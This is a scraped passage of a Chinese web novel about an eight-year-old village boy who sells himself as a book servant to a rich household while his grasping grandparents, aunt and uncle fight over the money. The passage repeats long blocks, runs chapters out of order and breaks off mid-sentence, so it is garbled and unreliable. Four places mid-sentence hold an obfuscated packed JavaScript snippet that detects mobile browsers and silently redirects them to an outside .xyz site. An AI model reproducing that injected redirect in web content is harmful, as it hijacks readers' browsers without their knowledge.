虽然也打了好几个补丁,颜色也洗得发旧,但却是家里相对最整齐干净的一件。 她仔细地帮陈平川换上。 一家人围坐在昏暗的堂屋里。 桌上摆着简单的早饭。 他们看着陈平川小口小口地吃着,谁也没有说话。 连一向活泼好动的陈平玉,此刻也异常乖巧。 她只是睁着一双黑葡萄似的大眼睛。 一会儿看看沉默不语的哥哥。 一会儿看看愁容满面的爹娘。 她的小手,自始至终都紧紧地拉着陈平川的衣角,仿佛一松开,哥哥就会消失不见。 早饭吃完了。 时候也差不多了。 陈平川站起身。 罗氏也跟着猛地站了起来。 她一把拉住儿子的胳膊,将他拽到门边,声音颤抖。 “儿啊,你听娘说。” “那张家是大户人家,门槛高,里面的人心眼也多,弯弯绕绕的,不比咱们这些庄户人家简单。” “你做事的时候,凡事多留个心眼,别傻乎乎地什么都信。” “那位小少爷,他若是待你好,那自然是你的福分,也是咱们家的万幸。” “可他若是……若是个被惯坏了的,骄纵蛮横,不知好歹的混不吝……” 罗氏的声音顿了顿,眼圈瞬间就红了。 “你……你千万莫要跟他硬顶,知道吗?咱们胳膊拧不过大腿,最后吃亏的还是你!” “凡事多看,多听,少说。嘴巴放甜一点,手脚勤快点,让人家抓不住你的错处。” “还有,遇事千万莫要慌张,先在心里头仔仔细细琢磨清楚了,再开口,再动手。” “保全自个儿,才是最要紧的,你听见没有?” 罗氏说到这里,声音已经带上了浓重的哭腔,泪水在眼眶里打转。 “万一……万一你在那张家受了什么天大的委屈,实在是待不下去了……” 她的声音哽咽起来:“你就想法子……想法子捎个信回来……” “娘就算是拼了这条命不要,倾家荡产,也……也一定去把你接回来!” 话未说完,罗氏再也忍不住。 她猛地捂住嘴,泪水如同断了线的珠子,汹涌而出,泣不成声。 这个坚强的女人, 此刻脆弱得像风中的残烛。 陈平川伸出小手擦去罗氏的眼泪。 他用力地点了点头用稚嫩的声音安慰母亲:“放心吧娘。” “孩儿会照顾好自己不会让您和爹担心的。” 千叮咛万嘱咐一家三口才依依不舍地将陈平川送到了院门口。 寒风似乎都带上了三分萧瑟。 大房的窗户“吱呀”一声被推开半扇。 大伯母探出个脑袋伸长了脖子眼珠子滴溜溜地朝着这边张望。 三房那边王氏正端着一盆洗脸水准备泼出门瞧见这阵仗 他们都注意到了。 陈平川这小子今天竟然没牵那头瘦牛! 身上还换了件平日里过年都未必舍得穿的“体面”衣裳虽然依旧打着补丁却浆洗得干净。 这反常的举动让他们心里很好奇。 “哎哟喂这不是平川大侄子吗?” 大伯母那标志性的大嗓门骤然响起故意拔高了音调确保能传进正房陈老太爷两口子的耳朵里。 “今儿个这太阳是打西边儿出来啦?不去放牛倒穿得人模狗样的这是要上哪儿玩去呀?” 话音刚落正房那块洗得发白的门帘猛地一掀。 陈老太太如同出笼的饿鹰领着柱着拐杖的陈老太爷一阵风似的快步走了出来。 老太太那双精明的三角眼先是刀子般刮过院子中央垂头抹泪的罗氏和一脸木然的陈仲和最后才定格在快要走出院门的陈平川身上。 见他今日果真没牵牛穿得也比平日里齐整些老太太心里的火气“蹭”就上来了按捺不住扬声厉喝:“老二家的!你家平川那小兔崽子今儿个胆肥了啊?!牛不放了穿得跟个小少爷似的想干嘛去?是不是又琢磨着偷懒耍滑!” 罗氏猛地转过头脸颊上未干的泪痕在晨光下分外刺眼。 她双目通红布满血丝却只是死死咬着干裂的嘴唇终究没有吐出一个字来。 “老二你哑巴了?问你话呢!”陈老太爷喉咙里发出一声重重的咳嗽手中的拐杖在青石板上“笃笃”地顿了两下发出沉闷的声响。 陈仲和被父母这般疾言厉色地逼问本就佝偻的腰弯得更低脑袋几乎要垂到胸口声音细得如同蚊子哼哼:“平川……他他……去张财主家……当书童了。” 他艰难地喘了口气仿佛说出这几个字已经耗尽了他全身的力气声音里带着绝望的沙哑 。 “他……他把自己给卖了换了二十两银子……给给平玉……” 此言一出整个陈家大院仿佛被一道无形的惊雷劈中瞬间陷入一片令人窒息的死寂。 所有人都像是被点了穴道一般僵在原地。 一个才八岁的孩子把自己给卖了!? 这简直是闻所未闻! 短暂的沉寂过后大伯母那双原本就小的眼睛里骤然爆发出贪婪的精光! 她嘴角几乎要咧到耳根子那股子喜不自胜的劲儿差点没掩饰住却又在下一瞬硬生生压了下去脸上挤出一丝假惺惺的“惋惜”语气夸张得令人作呕:“哎哟!平川这孩子可真是……真是太懂事了!小小年纪就知道为家里分忧解难!这下可好了仲文去府城秋闱的盘缠可算是有着落了啊!” 这话像是一块巨石投入死水潭瞬间打破了众人的惊愕。 陈老太爷捋着下巴上那几根稀疏泛黄的山羊胡浑浊的老眼微微眯起脸上露出了几分“欣慰”的表情慢条斯理地点了点头:“嗯为了他大伯的功名前程也为了咱们陈家的脸面平川这孩子此举也算是识大体有孝心了。” 他那副理所当然的模样 反正他还有虎子那个乖孙子陈平川这个孙子他并不待见卖了更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986999|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好! 三房的王氏掏出块绣花的旧帕子掩着嘴“咯咯”一笑尖细刺耳阴阳怪气道:“二嫂你可真是好福气!生了这么个有出息的好儿子小小年纪就知道替家里分忧。不像我们家虎子整天就知道调皮捣蛋让人操碎了心!” 旁边的陈仲武也跟着干笑两声附和道:“可不是嘛!我早就说平川这孩子机灵懂事你们看看这不就是了!” 罗氏听着这些扎心窝子的话气得浑身都在发抖指甲深深地掐进了掌心渗出了血丝却浑然不觉疼痛。 “何事如此喧哗扰了我的清梦?” 一个带着几分睡意未消的慵懒声音从大房的屋里传了出来。 门帘一挑大伯陈仲文打着哈欠手中还摇着一把破旧扇子慢吞吞地踱了出来。 他好像还没睡醒头发有些凌乱身上的青布长衫也皱皱巴巴的沾染着一股子陈腐的书卷气却依旧不减他那副自命不凡的“读书人”派头。 目光懒散地扫过院中神色各异的众人最终落在面色铁青的罗氏身上陈仲文不悦地皱了皱眉“莫不是又为了我秋闱的银子在 这里争吵不休?成何体统!” 大伯母一见自家男人出来了,立刻像条哈巴狗似的凑了上去,脸上堆满了谄媚的笑容。 她眉飞色舞,添油加醋地将陈平川“自愿**筹钱”的事儿绘声绘色地描述了一遍。 “我说当家的,你可得好好谢谢你这个好侄儿!他为了你能安心去府城参加秋闱,主动把自己给卖了!真是懂事得让人心疼死喽!” 在她那张颠倒黑白的嘴里,陈平川俨然成了“顾全大局、舍生取义、孝感动天”的绝世典范。 至于这背后的被迫、无奈与辛酸血泪,她却是半个字都未曾提及,仿佛那些都不值一提。 陈仲文听罢,脸上先是露出一丝惊讶,随即,竟真的挤出两滴鳄鱼泪来。 他故作沉痛地长叹一声:“哎!平川这孩子,当真是……当真是义薄云天!小小年纪,便有如此担当与胸襟,实乃我陈家之幸,家族之福啊!” 他煞有介事地抬起袖子,在眼角象征性地抹了抹,说道:“待大伯此番金榜题名,高中魁首,定然不会忘了你的这份拳拳之心!” 话虽然说得冠冕堂皇,感人肺腑。 但他那双看似悲悯的眼睛,在转向罗氏的时候,却带上了一丝不耐烦的催促。 那眼神,分明在说:既然银子已经到手了,还不快点把钱拿出来给我?! 罗氏抱着双臂,身体因愤怒而微微颤抖。 她冰冷的目光,缓缓扫过眼前这一张张丑陋不堪、贪婪无度的嘴脸,胸中翻涌的怒火几乎要将她整个人都燃烧起来,却依旧紧咬牙关,一言不发。 陈老太太见她这副油盐不进的模样,本就阴沉的脸色骤然一变,厉声喝道:“还傻愣着干什么?!快把银子拿出来!这二十两银子,本就是为了仲文科考筹措的!难道你还想昧下这笔钱不成?!我告诉你,门儿都没有!” 她一边说着,一边一步步朝着罗氏逼近,那只枯瘦得如同鸡爪般的手指,几乎要戳到罗氏的脸颊上,唾沫星子横飞。 第12章 巧舌如簧,大伯死得好惨啊! “方先生请留步。” 任管家的声音带着几分急切从后方传来。 方先生闻声停下了脚步花白的眉头微微一蹙略带一丝不解地回望过去正对上任管家匆匆赶来的身影。 任管家快步走到近前先是恭敬地拱了拱手这才将方才在饭堂之中陈平川念出的那首四句短诗一字不差地复述了一遍。 随后他抬起头眼神里带着几分探寻小心翼翼地问道:“先生您学问渊博不知可曾听过此诗?” “此诗……可有名目?又是何人所作?” 方先生起初听着神色尚还维持着惯有的平淡。 可当任管家念到那句“汗滴禾下土”之时他握着书卷的手指便不自觉地微微一紧脸色也开始有了细微的变化。 待到任管家将整首诗念完他整个人竟如同被施了定身法一般呆立当场。 捏着自己花白胡须的手控制不住地微微颤抖起来。 嘴唇翕动着一遍又一遍地在心中反复咀嚼着那几句朴素至极却又仿佛力有千钧的诗句。 “这……这诗……” 越是品味越觉得此诗言辞虽是浅白易懂几乎人人能解 “当真是……当真是发人深省!寓意至深啊!” 方先生激动得声音都有些变调了平日里端着的架子此刻也顾不得了。 “老夫……老夫竟从未听过如此……如此直抒胸臆鞭辟入里的佳作!” 他虽只是个屡试不第的秀才但也曾年轻时游学四方亲眼见过田间农人顶着烈日、弯腰弓背耕作的艰辛。 然而能将农事之苦、盘餐之贵写得这般浅显直白却又这般深刻动人的诗句实乃他平生罕见! 不这等境界简直是闻所未闻! 方先生只觉得胸中波涛翻涌一股难以言喻的激荡情绪久久无法平息。 他猛地一把抓住任管家的手臂眼神灼灼急切问道:“任管家你…你从何处听得此诗?!” 任管家被方先生这般激动的模样吓了一跳连忙据实回答:“是……是府上新来的那个小书童陈平川。” “方才在饭堂他见小姐糟蹋饭食便……便念了出来。” “陈平川?” 方先生眉头瞬间紧紧锁了起来如同打了好几个结。 “那个新来的书童?” 他脑海中浮现出那个面黄肌瘦却眼神清 亮的农家小子。 “一个……小小的八龄稚童,竟能吟出此等佳句? 一个尚未开蒙的孩童,纵然比寻常孩子多了几分小聪明,又如何能作出此等蕴含着人生疾苦、饱含着岁月沧桑之感的诗句? 这绝无可能! 他几乎是下意识地就否定了这个念头。 定然是这孩子从何处听来的残篇断句,今日恰巧在此情此景之下,福至心灵般,胡乱拼凑吟诵了出来! 对,一定是这样! 方先生深吸一口气,眼神中闪烁着复杂难明的光芒。 他决定了。 明日上课,定要好好盘问那陈平川一番! 务必弄清楚,这等堪称绝妙的诗句,他究竟是从何处听来!若是能找到原作者,那也是文坛一桩幸事! …… 翌日,清晨。 熹微的晨光透过窗棂,在书房内投下斑驳的光影。 陈平川早早地便来到了书房。 他先是将书案仔仔细细擦拭了一遍,不留半点尘埃。 随后,又将笔墨纸砚一一摆放整齐,研好了墨,滴了水,一切都打理得井井有条。 他一边有条不紊地忙碌着,一边在心中默默琢磨着。 该如何才能让张金宝那个榆木脑袋,稍稍开那么一点点窍呢? 这可真是个大难题。 正思忖间,一阵熟悉的脚步声由远及近。 方先生身着一袭白长衫,面色沉肃地走了进来。 只是今日,他并未如往常般直接走向书案,而是在陈平川面前停下了脚步。 那双略显浑浊的眼睛里,紧紧盯着陈平川。 “陈平川,你且过来。方先生的声音不高,却带着一股威严。 陈平川心中一凛,不知道什么情况。 他面上却丝毫不敢显露,依旧是那副乖巧听话的模样,恭恭敬敬地走到了方先生面前。 “先生唤小的何事? 方先生上上下下地打量着陈平川,那目光仿佛要将他看透一般。 他沉默了片刻,这才缓缓开口:“昨日你在饭堂所念的那首诗,是从何处抄来的?什么名目? 陈平川眨了眨黑白分明的大眼睛,故作茫然地偏了偏小脑袋。 “先生说的是哪首诗呀? 方先生见他装傻,眉头顿时一皱,语气也严厉了几分:“就是那‘锄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987004|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾日当午,汗滴禾下土’的诗句! “休要在我面前装糊涂! ” 陈平川这才像是恍然大悟一般,“哦”了一声,随即伸出小手,有些不好意思地挠了挠后脑勺。 他声音带着几分独属于孩童的稚气,解释道:“先生,您说那首诗叫《悯农》,是我从我惨死的大伯那儿听来的。” “我大伯是秀才,平日里就爱念叨些我们听不懂的句子。” “我听着这几句顺口,又好像有点意思,就记住了几句。” 他微微低下头,声音小心翼翼:“昨日……昨日瞧见小姐她把饭菜扔了,平川就想着,这些都是种田的伯伯叔叔们好辛辛苦苦才弄出来的。” “一时……一时就随口念出来了。” “先生,平川是不是说错话了?” 方先生紧紧盯着陈平川的眼睛,试图从那双清澈的眸子里瞧出些许撒谎的痕迹。 然而,陈平川一派镇定自若,眼神坦荡,回以纯真无邪的目光。 方先生捻着颌下稀疏的胡须,追问道:“那你大伯他是怎么去世的?” “唉!” 陈平川面露悲痛,眼圈都红了:“大伯他……不慎被家中黄牛踢到下体,大夫说都碎了,痛苦了好几天才过世……” 方先生听完,顿时感觉自己下面好像也跟着疼起来,他擦了擦额头的冷汗,叹息道:“这……真是天妒英才啊!” 他见这书童神色坦然,不似作伪,心中的疑虑,已经消退。 只是,可惜了他那个惨死的大伯,若是还活着,一定可以做出更多传世佳作! “罢了。”方先生最终还是摆了摆手,不再深究。 “既是听来的,便不可妄称己作,以免贻笑大方。” “日后也莫要胡言乱语,听见没有?”他板着脸告诫了一句。 “时辰不早了,开始今日的课业罢。”方先生说罢,便转身走向书案。 陈平川则在心中悄悄松了一口气,暗自庆幸自己反应够快。 用秀才大伯当挡箭牌,总算是暂时糊弄过去了。 但这也给他提了个醒,以后再想“借鉴”前人智慧的时候,可得更加小心谨慎,不能再这么明目张胆了,以免引来不必要的麻烦。 另一边,陈家,陈仲文猛地连打好几个喷嚏,他满头疑惑:“是谁在背后念叨我?” 第26章 **为奴还能赚钱,不枉我平日那般疼他! 陈仲和的脸瞬间涨得通红。 额头上细密的汗珠一颗颗渗了出来沿着脸颊滑落。 他嘴唇哆嗦着每一个字都像是从牙缝里挤出来的:“爹我……我实在是一个铜板也拿不出来了。” 话音未落大伯母那尖细刻薄的声音立刻响了起来。 “没钱?” “二弟你莫不是在哄骗我们不成?” 她眼睛一斜目光如刀上下刮视着陈仲和语气里满是怀疑:“你不是天天往那张府送石头卖钱吗?” “那些钱呢?” “莫不是……被你那个婆娘偷偷藏起来了?” 字字句句都在暗指他有钱不肯出。 陈仲和被这话噎得心口发堵喉咙发干只得长长叹了口气。 声音艰涩带着无尽的苦楚:“大嫂你有所不知啊。” “那石头能换卖钱的事也不知道是哪个多嘴的给传了出去!” “如今不止我一个。村里好几家都挑着石头往张府送。” “人一多你争我抢的那价钱……自然就被压下来了。” 他越说声音越低带着一股无法言喻的颓丧。 “原先一筐好歹还能卖个百十来文如今……如今也就值个几十文堪堪糊口罢了。” 他声音艰涩地补充:“而且听张府的任管家说他们府里那条路也快修完了往后……怕是这钱也赚不长久了。” 陈仲武和王氏听到“多嘴之人”四个字眼神不由自主地一阵闪躲。 两人的表情都变得有些许不自然起来。 王氏更是暗自心虚。 她记得前些日子和村里几个婆娘闲话家常时确实无意间提到了陈仲和找到了个不错的营生每日里都有铜钱入口袋。 没想到竟被有心人听了去这才引来了这些竞争者断了陈仲和的财路。 陈仲和哪里知道这些弯弯绕绕他只是继续诉说着自己的苦楚:“再说这卖石头的钱大部分都得上交给家里我媳妇……她前阵子又病了一场抓药看诊家里的钱几乎都掏空了。” 大伯母却压根不信他的这番说辞。 她只当陈仲和是故意哭穷不想掏钱。 “谁知道你说的是真是假?” 她撇了撇嘴 一旁的陈仲文也捻着自己下颌那几根稀疏的短须摇头晃脑摆出一副痛心疾 首的模样:“唉,钱财乃身外之物,哪有父母康健重要?” “二弟此举……着实,有失孝道啊。” 这话一出,陈老太爷那双深陷的眼窝里,陡然射出两道利箭似的目光。 那目光,死死盯在陈仲和的身上,仿佛要将他看穿:“老二,你给我说句实话,你当真一个子儿都没有了?” 整个堂屋的气氛,瞬间凝固。 满屋子的人,都盯着角落里的陈仲和。 他被众人这般目光逼视,尤其是父母那带着审视和不满的眼神,让他更是如坐针毡,浑身不自在。 他从小就憨厚老实,嘴笨舌拙,更不善撒谎。 此刻他心慌意乱,额头汗水涔涔,脸憋得通红,一只手下意识地、紧紧地捂住了自己破旧短褂的衣兜。 那里,仿佛藏着什么见不得人的东西。 知子莫若母。 陈老太太见陈仲和这般模样,心中便已然有了计较。 她那双不大的三角眼微微一眯,闪过一丝精光。 也不多言,身形猛地一个前倾,如同捕食的饿狼一般,一个箭步便蹿了上去! 她的动作,快得让人几乎来不及反应。 根本不像一个六七十岁的老人! “娘,您这是……”陈仲和顿时慌了神,下意识地抬起手臂,却又不敢真的阻挡。 陈老太太却是不管不顾,一把便将那干枯得如同鸡爪的手,狠狠伸进了陈仲和那紧紧捂着的衣兜里! “哗啦——” 一声清脆又沉闷的轻响。 几块银光闪闪的碎银,从陈仲和的衣兜里被悉数掏了出来,骨碌碌掉在了冰冷的泥土地上。 众人定睛一看,皆是倒吸一口凉气—— 那掉落在地上的,在昏暗的光线下依旧闪着诱人光泽的,分明是足足二两的纹银! 整个堂屋,瞬间寂静无声。 落针可闻。 陈老太爷的脸色,瞬间阴沉得可怕! “老二!” 他一声厉喝,声音里裹挟着怒雷,“你竟敢对我撒谎?!” “说!这银子,究竟是从何而来!” 陈仲和整个身子都僵住了,像是被冻硬的木头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15987018|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喉结剧烈地上下滚动,额头上渗出的汗珠,一颗颗沿着脸颊的纹路滑落,滴进尘埃。 大伯母抢上前去,将那几块碎银悉数抓在了手里。 她放在手心掂了掂,脸上瞬间绽放出贪婪的精光,声音尖锐得刺耳:“嚯!这 少说也得有二两吧!” “老二!你好大的胆子!竟敢背着家里藏下这么大一笔私房钱!” “啪!” 一声清脆响亮的耳光,狠狠甩在陈仲和的脸上。 陈老太太那张布满褶皱的老脸因愤怒而扭曲,眼神凶狠得像要**:“没心肝的白眼狼!老娘打死你这个不孝子!” 她喘着粗气,手指几乎戳到陈仲和的鼻子上:“快说!这钱到底是哪儿来的!不说实话,我今天就扒了你的皮!” 陈仲和捂着火辣辣、迅速肿胀起来的半边脸颊。 他眼神惶恐,断断续续地解释:“是……是我儿平川给我的,让我带回来……给他娘调养身子,补贴家用的……” 此言一出,犹如一滴冷水落入滚烫的油锅,整个堂屋瞬间炸开了! “什么?!”大伯母第一个叫出声,满脸的不可思议,“平川那小子?” 王氏也是瞪圆了眼睛,死死盯着大伯母手中那几块白花花的银子,眼神里充满了震惊与嫉妒。 她撇了撇嘴,阴阳怪气地说道:“哟,一个才八岁的娃娃,**为奴这才几天功夫,就能赚这么多钱?” “该不会是……手脚不干净,从东家那里偷来的吧?” 这话恶毒的很,陈仲和本就涨得通红的脸,此刻更是红得像要滴出血来。 他猛地抬起头,急切地连连摆手:“没有!绝对没有这回事!” “平川那孩子,在张府是伺候小少爷读书写字!张老爷见他当差用心,尽心尽力,这才……这才赏了他这些银子!” 陈老太爷一直沉着脸,此刻捋着颌下稀疏的胡须,浑浊的眼珠微微闪烁了几下。 他心中飞快盘算:这小子,倒真有几分能耐。 念及此,他脸上的阴沉之色,渐渐消散,;露出一丝欣慰的笑容。 “好!好啊!平川这孩子,果然是个有出息的!” “不枉费我平日里,那般疼他爱他!” 第7章 **钱也抢,全家都是狼心狗肺! 天刚蒙蒙亮,东边的天空才泛起一丝鱼肚白。 陈平川一家就都起来了。 罗氏不知从哪里翻出了一件衣裳。 虽然也打了好几个补丁,颜色也洗得发旧,但却是家里相对最整齐干净的一件。 她仔细地帮陈平川换上。 一家人围坐在昏暗的堂屋里。 桌上摆着简单的早饭。 他们看着陈平川小口小口地吃着,谁也没有说话。 连一向活泼好动的陈平玉,此刻也异常乖巧。 她只是睁着一双黑葡萄似的大眼睛。 一会儿看看沉默不语的哥哥。 一会儿看看愁容满面的爹娘。 她的小手,自始至终都紧紧地拉着陈平川的衣角,仿佛一松开,哥哥就会消失不见。 早饭吃完了。 时候也差不多了。 陈平川站起身。 罗氏也跟着猛地站了起来。 她一把拉住儿子的胳膊,将他拽到门边,声音颤抖。 “儿啊,你听娘说。” “那张家是大户人家,门槛高,里面的人心眼也多,弯弯绕绕的,不比咱们这些庄户人家简单。” “你做事的时候,凡事多留个心眼,别傻乎乎地什么都信。” “那位小少爷,他若是待你好,那自然是你的福分,也是咱们家的万幸。” “可他若是……若是个被惯坏了的,骄纵蛮横,不知好歹的混不吝……” 罗氏的声音顿了顿,眼圈瞬间就红了。 “你……你千万莫要跟他硬顶,知道吗?咱们胳膊拧不过大腿,最后吃亏的还是你!” “凡事多看,多听,少说。嘴巴放甜一点,手脚勤快点,让人家抓不住你的错处。” “还有,遇事千万莫要慌张,先在心里头仔仔细细琢磨清楚了,再开口,再动手。” “保全自个儿,才是最要紧的,你听见没有?” 罗氏说到这里,声音已经带上了浓重的哭腔,泪水在眼眶里打转。 “万一……万一你在那张家受了什么天大的委屈,实在是待不下去了……” 她的声音哽咽起来:“你就想法子……想法子捎个信回来……” “娘就算是拼了这条命不要,倾家荡产,也……也一定去把你接回来!” 话未说完,罗氏再也忍不住。 她猛地捂住嘴,泪水如同断了线的珠子,汹涌而出,泣不成声。 这个坚强的女人, 此刻脆弱得像风中的残烛。 陈平川伸出小手擦去罗氏的眼泪。 他用力地点了点头用稚嫩的声音安慰母亲:“放心吧娘。” “孩儿会照顾好自己不会让您和爹担心的。” 千叮咛万嘱咐一家三口才依依不舍地将陈平川送到了院门口。 寒风似乎都带上了三分萧瑟。 大房的窗户“吱呀”一声被推开半扇。 大伯母探出个脑袋伸长了脖子眼珠子滴溜溜地朝着这边张望。 三房那边王氏正端着一盆洗脸水准备泼出门瞧见这阵仗 他们都注意到了。 陈平川这小子今天竟然没牵那头瘦牛! 身上还换了件平日里过年都未必舍得穿的“体面”衣裳虽然依旧打着补丁却浆洗得干净。 这反常的举动让他们心里很好奇。 “哎哟喂这不是平川大侄子吗?” 大伯母那标志性的大嗓门骤然响起故意拔高了音调确保能传进正房陈老太爷两口子的耳朵里。 “今儿个这太阳是打西边儿出来啦?不去放牛倒穿得人模狗样的这是要上哪儿玩去呀?” 话音刚落正房那块洗得发白的门帘猛地一掀。 陈老太太如同出笼的饿鹰领着柱着拐杖的陈老太爷一阵风似的快步走了出来。 老太太那双精明的三角眼先是刀子般刮过院子中央垂头抹泪的罗氏和一脸木然的陈仲和最后才定格在快要走出院门的陈平川身上。 见他今日果真没牵牛穿得也比平日里齐整些老太太心里的火气“蹭”就上来了按捺不住扬声厉喝:“老二家的!你家平川那小兔崽子今儿个胆肥了啊?!牛不放了穿得跟个小少爷似的想干嘛去?是不是又琢磨着偷懒耍滑!” 罗氏猛地转过头脸颊上未干的泪痕在晨光下分外刺眼。 她双目通红布满血丝却只是死死咬着干裂的嘴唇终究没有吐出一个字来。 “老二你哑巴了?问你话呢!”陈老太爷喉咙里发出一声重重的咳嗽手中的拐杖在青石板上“笃笃”地顿了两下发出沉闷的声响。 陈仲和被父母这般疾言厉色地逼问本就佝偻的腰弯得更低脑袋几乎要垂到胸口声音细得如同蚊子哼哼:“平川……他他……去张财主家……当书童了。” 他艰难地喘了口气仿佛说出这几个字已经耗尽了他全身的力气声音里带着绝望的沙哑 。 “他……他把自己给卖了换了二十两银子……给给平玉……” 此言一出整个陈家大院仿佛被一道无形的惊雷劈中瞬间陷入一片令人窒息的死寂。 所有人都像是被点了穴道一般僵在原地。 一个才八岁的孩子把自己给卖了!? 这简直是闻所未闻! 短暂的沉寂过后大伯母那双原本就小的眼睛里骤然爆发出贪婪的精光! 她嘴角几乎要咧到耳根子那股子喜不自胜的劲儿差点没掩饰住却又在下一瞬硬生生压了下去脸上挤出一丝假惺惺的“惋惜”语气夸张得令人作呕:“哎哟!平川这孩子可真是……真是太懂事了!小小年纪就知道为家里分忧解难!这下可好了仲文去府城秋闱的盘缠可算是有着落了啊!” 这话像是一块巨石投入死水潭瞬间打破了众人的惊愕。 陈老太爷捋着下巴上那几根稀疏泛黄的山羊胡浑浊的老眼微微眯起脸上露出了几分“欣慰”的表情慢条斯理地点了点头:“嗯为了他大伯的功名前程也为了咱们陈家的脸面平川这孩子此举也算是识大体有孝心了。” 他那副理所当然的模样 反正他还有虎子那个乖孙子陈平川这个孙子他并不待见卖了更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986999|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好! 三房的王氏掏出块绣花的旧帕子掩着嘴“咯咯”一笑尖细刺耳阴阳怪气道:“二嫂你可真是好福气!生了这么个有出息的好儿子小小年纪就知道替家里分忧。不像我们家虎子整天就知道调皮捣蛋让人操碎了心!” 旁边的陈仲武也跟着干笑两声附和道:“可不是嘛!我早就说平川这孩子机灵懂事你们看看这不就是了!” 罗氏听着这些扎心窝子的话气得浑身都在发抖指甲深深地掐进了掌心渗出了血丝却浑然不觉疼痛。 “何事如此喧哗扰了我的清梦?” 一个带着几分睡意未消的慵懒声音从大房的屋里传了出来。 门帘一挑大伯陈仲文打着哈欠手中还摇着一把破旧扇子慢吞吞地踱了出来。 他好像还没睡醒头发有些凌乱身上的青布长衫也皱皱巴巴的沾染着一股子陈腐的书卷气却依旧不减他那副自命不凡的“读书人”派头。 目光懒散地扫过院中神色各异的众人最终落在面色铁青的罗氏身上陈仲文不悦地皱了皱眉“莫不是又为了我秋闱的银子在 这里争吵不休?成何体统!” 大伯母一见自家男人出来了,立刻像条哈巴狗似的凑了上去,脸上堆满了谄媚的笑容。 她眉飞色舞,添油加醋地将陈平川“自愿**筹钱”的事儿绘声绘色地描述了一遍。 “我说当家的,你可得好好谢谢你这个好侄儿!他为了你能安心去府城参加秋闱,主动把自己给卖了!真是懂事得让人心疼死喽!” 在她那张颠倒黑白的嘴里,陈平川俨然成了“顾全大局、舍生取义、孝感动天”的绝世典范。 至于这背后的被迫、无奈与辛酸血泪,她却是半个字都未曾提及,仿佛那些都不值一提。 陈仲文听罢,脸上先是露出一丝惊讶,随即,竟真的挤出两滴鳄鱼泪来。 他故作沉痛地长叹一声:“哎!平川这孩子,当真是……当真是义薄云天!小小年纪,便有如此担当与胸襟,实乃我陈家之幸,家族之福啊!” 他煞有介事地抬起袖子,在眼角象征性地抹了抹,说道:“待大伯此番金榜题名,高中魁首,定然不会忘了你的这份拳拳之心!” 话虽然说得冠冕堂皇,感人肺腑。 但他那双看似悲悯的眼睛,在转向罗氏的时候,却带上了一丝不耐烦的催促。 那眼神,分明在说:既然银子已经到手了,还不快点把钱拿出来给我?! 罗氏抱着双臂,身体因愤怒而微微颤抖。 她冰冷的目光,缓缓扫过眼前这一张张丑陋不堪、贪婪无度的嘴脸,胸中翻涌的怒火几乎要将她整个人都燃烧起来,却依旧紧咬牙关,一言不发。 陈老太太见她这副油盐不进的模样,本就阴沉的脸色骤然一变,厉声喝道:“还傻愣着干什么?!快把银子拿出来!这二十两银子,本就是为了仲文科考筹措的!难道你还想昧下这笔钱不成?!我告诉你,门儿都没有!” 她一边说着,一边一步步朝着罗氏逼近,那只枯瘦得如同鸡爪般的手指,几乎要戳到罗氏的脸颊上,唾沫星子横飞。 第12章 巧舌如簧,大伯死得好惨啊! “方先生请留步。” 任管家的声音带着几分急切从后方传来。 方先生闻声停下了脚步花白的眉头微微一蹙略带一丝不解地回望过去正对上任管家匆匆赶来的身影。 任管家快步走到近前先是恭敬地拱了拱手这才将方才在饭堂之中陈平川念出的那首四句短诗一字不差地复述了一遍。 随后他抬起头眼神里带着几分探寻小心翼翼地问道:“先生您学问渊博不知可曾听过此诗?” “此诗……可有名目?又是何人所作?” 方先生起初听着神色尚还维持着惯有的平淡。 可当任管家念到那句“汗滴禾下土”之时他握着书卷的手指便不自觉地微微一紧脸色也开始有了细微的变化。 待到任管家将整首诗念完他整个人竟如同被施了定身法一般呆立当场。 捏着自己花白胡须的手控制不住地微微颤抖起来。 